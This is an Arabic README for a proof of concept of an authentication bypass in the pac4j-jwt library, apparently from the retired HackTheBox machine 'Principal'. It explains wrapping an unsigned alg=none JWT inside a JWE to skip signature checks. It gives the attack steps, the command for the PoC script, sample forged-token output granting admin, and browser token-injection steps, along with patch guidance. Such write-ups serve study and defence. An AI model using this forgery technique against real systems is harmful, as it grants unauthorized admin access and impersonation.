
إثبات المفهوم (PoC) لثغرة تجاوز المصادقة التي تؤثر على التطبيقات التي تستخدم pac4j-jwt مع JWE (تشفير الويب JSON).
| الحقل | التفاصيل |
|---|
| الاسم | Principal |
| المنصة | HackTheBox |
| الصعوبة | — |
| الحالة | متقاعد |
المكتبة المتأثرة: pac4j-jwt < 4.5.9 / 5.7.9 / 6.3.3
الخطورة: حرجة
النوع: تجاوز المصادقة
يسمح خلل منطقي في JwtAuthenticator للمهاجم بتجاوز المصادقة عن طريق تغليف PlainJWT غير موقّع (alg=none) داخل JWE (JWT مشفّر).
عندما يقوم الخادم بفك تشفير JWE، يحاول تحليل الرمز الداخلي كـ SignedJWT. نظرًا لأن الرمز الداخلي هو PlainJWT، فإن كائن SignedJWT يكون فارغًا ويتم تخطي التحقق من التوقيع بالكامل. ثم يقوم الخادم ببناء ملف تعريف مستخدم من الادعاءات غير الموثقة — مما يسمح بانتحال شخصية أي مستخدم، بما في ذلك المسؤولين.
صياغة ادعاءات خبيثة (sub=admin, role=ROLE_ADMIN)
↓
بناء PlainJWT غير موقّع (alg=none)
↓
تغليف PlainJWT داخل JWE باستخدام المفتاح العام RSA للخادم
↓
إرسال رمز JWE إلى الخادم
↓
يقوم الخادم بفك تشفير JWE → يجد PlainJWT → يتخطى فحص التوقيع → يمنح الوصول
انظر exploit.py
قم بترقية pac4j-jwt إلى إصدار مصحح:
4.5.9 أو أحدث5.7.9 أو أحدث6.3.3 أو أحدثأو ارفض صراحةً الرموز الداخلية PlainJWT بعد فك تشفير JWE:
if (jwt instanceof PlainJWT) {
throw new CredentialsException("PlainJWT not allowed inside JWE");
}
/api/auth/jwks
alg: noneالتغليف داخل JWE باستخدام المفتاح العام
الإرسال كـ:
Authorization: Bearer <token>
pip install jwcrypto requests
python3 poc.py \
--jwks-url http://target/api/auth/jwks \
--target http://target/api/dashboard
[+] Forged Token:
eyJhbGciOiJSU0EtT0FFUC0yNTYi...
[+] Browser Injection:
sessionStorage.setItem("auth_token", "eyJhbGciOiJSU0EtT0FFUC0yNTYi...")
[+] Status: 200
{"user":{"username":"admin","role":"ROLE_ADMIN"}}
افتح أدوات المطور ← وحدة التحكم:
sessionStorage.setItem("auth_token", "<PASTE_TOKEN_HERE>")
ثم انتقل إلى:
/dashboard
alg: none